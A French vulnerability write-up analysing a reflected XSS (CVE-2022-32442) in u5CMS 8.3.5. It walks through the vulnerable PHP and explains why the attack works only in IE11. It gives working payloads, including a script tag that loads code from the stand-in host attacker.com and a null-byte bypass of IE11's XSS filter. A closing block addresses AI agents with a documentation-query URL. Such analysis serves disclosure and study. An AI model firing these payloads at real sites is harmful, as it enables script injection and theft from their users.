# CVE-2022-32442

> Je vous propose mon analyse de la **CVE-2022-32442**, qui est une vulnérabilité de type Cross-Site Scripting (XSS) dans le système de gestion de contenu (CMS) nommé u5CMS.

## Description

* **Vendeur :** Yuba (<https://yuba.ch/>)
* **Produit :** u5CMS (<https://yuba.ch/index.php?c=u5cms&l=en>)
* **Version(s) impactée(s) :** 8.3.5
* **Type de vulnérabilité :** Reflected Cross-Site Scripting (XSS) ([CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html))

La page d'accueil d'u5CMS en version 8.3.5 est vulnérable à une faille de type Cross-Site Scripting (XSS) réfléchie. La charge peut être être injectée après le caractère `?` de l'URL et est réfléchie dans les deux liens HTML permettant le changement de langue.

![S](/files/9NUarP0LhEkxzeP55aqM)

## Analyse de la vulnérabilité

Ce qui suit le caractère `?` de l'URL est réfléchie dans l'attribut `href` du lien `<a></a>` des deux (autres) choix de langues qu'offre le CMS :&#x20;

![](/files/bUCpSiscFxzgYWw6xKUB)

L'injection d'un caractère `"` visant à s'échapper de l'attribut `href` afin d'injecter la charge malicieuse `"onmouseover='alert(1)'value="&l=fr` ne fonctionne pas. En effet, le navigateur encode les caractères spéciaux rendant l'attaque ainsi sans effet :&#x20;

![](/files/WtyU6lx8XpVNN3ipnVRK)

L'encodage effectué par les navigateurs est le résultat de la bonne implémentation de la section 2.2 de la RFC 1738 (<https://datatracker.ietf.org/doc/html/rfc1738#section-2.2>) :&#x20;

![](/files/UQ3Ktu7AQx3Zncbm25N5)

Firefox, Chrome ou encore Edge sont des bons élèves et implémentent correctement cette RFC, mais ce n'est pas forcément le cas pour ce bon vieux IE11. En effet ce navigateur n'encode pas les noms et les valeurs des paramètres :&#x20;

![](/files/FqU235SJmmpkUD4eBLo7)

L'exécution d'un script distant est également possible grâce à la payload suivante `"><script/src=https://attacker.com/xss.js>&l=fr` :&#x20;

![](/files/8pz89Q963bK2wObq3Vxz)

Et ce, même si le filtre anti-XSS d'IE11 semble être bien actif :&#x20;

![](/files/N8TcQidtYMCtCvUlRG0H)

{% hint style="info" %}
Microsoft a annoncé qu'Internet Explorer 11 ne sera plus supporté et progressivement retiré des versions de Windows. Cela peut avoir pour conséquence que les remontées de ce type (ie. exploitable seulement sous IE11) ne soient plus acceptées au sein des programmes de Bug Bounty.
{% endhint %}

{% hint style="danger" %}
Attention à lire également la partie "Code vulnérable" afin de bien comprendre le fonctionnement de l'attaque et la raison pour laquelle la vulnérabilité est exploitable seulement sous IE11.
{% endhint %}

Afin de prouver la présence de la XSS réfléchie sur n'importe quel navigateur il est possible de passer par une interception de proxy via Burp (ou autre) :&#x20;

![](/files/rTNrsrRGWtwnS8oESDej)

## Code vulnérable

Le fichier `index.php` va rechercher les motifs `{{{motifs}}}` dans le fichier `htmltemplate.css` :

{% code title="index.php" %}

```php
$template=str_replace('[_logo_]','r/logo/'.def($file_d,$file_e,$file_f).'?t='.filemtime('r/logo/'.def($file_d,$file_e,$file_f)),file_get_contents('r/htmltemplate.css'));
...
$i_i_item=explode('{{{',$template);
for ($i_i_i=0;$i_i_i<count($i_i_item);$i_i_i++) {
   if (strpos($i_i_item[$i_i_i],'}}}')>1) {
      $i_i_part=explode('}}}',$i_i_item[$i_i_i]);
```

{% endcode %}

A un certain moment, le motif sera celui concernant l'affichage des liens de changement de langues `{{{languages}}}` :&#x20;

{% code title="htmltemplate.css" %}

```html
<div id="main">
  <div id="header" style="background:url([_logo_]);background-size:cover">
    <div id="metanavi">&nbsp;&nbsp;&nbsp;<a name="search"></a>{{{search}}}
      <div id="languages">{{{languages}}}</div>
```

{% endcode %}

Alors, le fichier nommé `u5sys.languages.php` sera inclus (`$i_i_part[0]` et aura pour valeur `"languages"`) :&#x20;

{% code title="index.php" %}

```php
if (file_exists('u5sys.'.$i_i_part[0].'.php')) include('u5sys.'.$i_i_part[0].'.php');
```

{% endcode %}

Ce nouveau fichier va afficher au sein de la page d'accueil les deux liens de changement de langues suivant la valeur contenu dans le paramètre de l'URL `l` :

{% code title="u5sys.languages.php" %}

```php
if ($_GET['l']==$lan3na) {
  $lancode=$lan3na;
  $nbsp='';
  if ($lan1name!='' && $lan2name!='') $nbsp='&nbsp;&nbsp;&nbsp;';
  if($u5showlinkofactivelanguageinmetanavi=='yes')$lanswitch='<a href="'.chglang($lan1na).'">'.$lan1name.'</a>'.$nbsp.'<a href="'.chglang($lan2na).'">'.$lan2name.'</a>'.$nbsp.'<a href="'.chglang($lan3na).'">'.$lan3name.'</a>';
  else $lanswitch='<a href="'. chglang($lan1na).'">'.$lan1name.'</a>'.$nbsp.'<a href="'.chglang($lan2na).'">'.$lan2name.'</a>';
}

...

echo $lanswitch;
```

{% endcode %}

{% hint style="info" %}
Il existe en fait trois blocs du même genre en fonction de la langue sélectionnée : "fr", "de" ou "en". L'exemple de code ici correspond à la langue "fr".
{% endhint %}

La fonction `chglang()` retourne la variable `$u` qui prend comme valeur le caractère `?` ainsi que  ce qui suit dans l'URL (grâce à `$_SERVER['QUERY_STRING']`) :

{% code title="chglang.inc.php" %}

```php
function chglang($l) {
  global $lan1na;
  global $lan2na;
  global $lan3na;
  
  $u='?'.$_SERVER['QUERY_STRING'];
  //echo 'query string : ' . $_SERVER['QUERY_STRING'];
  $u=str_replace('l='.$lan1na,'',$u);
  $u=str_replace('l='.$lan2na,'',$u);
  $u=str_replace('l='.$lan3na,'',$u);
  $u=str_replace('l=','',$u);
  $u=($u.'&l='.$l);
  $u=str_replace('&&','&',$u);
  $u=str_replace('?&','?',$u);
  //$u=str_replace('&','&amp;',$u);
  return $u;
}
```

{% endcode %}

{% hint style="info" %}
Les variables $lan1na, $lan2na, $lan3na correspondent respectivement aux chaines "de", "en" et "fr". Elles sont récupérées depuis la table `languages` en base de données.
{% endhint %}

Le coupable de la non exploitabilité de la vulnérabilité XSS sur d'autres navigateurs que IE11, à savoir à minima Chrome et Firefox, est la récupération de la valeur de l'URL par la variable `$_SERVER['QUERY_STRING']`. En effet, les donnée présentes dans l'URL et récupérées via ce procédé sont bien encodées par les navigateurs récents (la situation serait la même si les données étaient récupérées par la variable `$_SERVER['REQUEST-URI']`) et pas décodé par un composant côté serveur. Ce n'est pas le cas lors d'une récupération des données via la variable `$_GET['variable']` par exemple.

{% code title="globals.inc.php" %}

```php
$sql_a="SELECT * FROM languages";
$result_a=mysql_query($sql_a);
...
$row_a = mysql_fetch_array($result_a);
...
$lan1na=$row_a['lan1na'];
$lan2na=$row_a['lan2na'];
$lan3na=$row_a['lan3na'];
```

{% endcode %}

![](/files/84Dp6PULbbmaYv9r3NYJ)

**Mise à jour du 10/07/2022**

La reproduction du code vulnérable dans un contexte plus simple (hébergé toujours sur la même VM) :&#x20;

```php
<?php
echo 'a href="example.com' . $_SERVER["QUERY_STRING"] .'">lien</a>';
?>
```

fait se déclencher la protection anti-XSS d'IE11 :&#x20;

![](/files/CexmnpMwB2RlIaGsL6UA)

La cause de cette différence (entre l'environnement utilisé pour le test de u5cms et celui de PoC) n'a pas pu être identifiée mais le contournement suivant `<script/%00%00v%00%00>alert(1)</script>` semble fonctionner dans le cadre du PoC :&#x20;

![](/files/uk1USmWLhur4uRfRoUov)

et également sur le CMS vulnérable :&#x20;

![](/files/4YJHoV3qRXerxYS4ZTfI)

## Ressources

* <https://github.com/u5cms/u5cms/issues/49>
* <https://twitter.com/xsspayloads/status/1276386591972438017>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sharpforce.gitbook.io/cybersecurity/cve/2022/cve-2022-32442.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
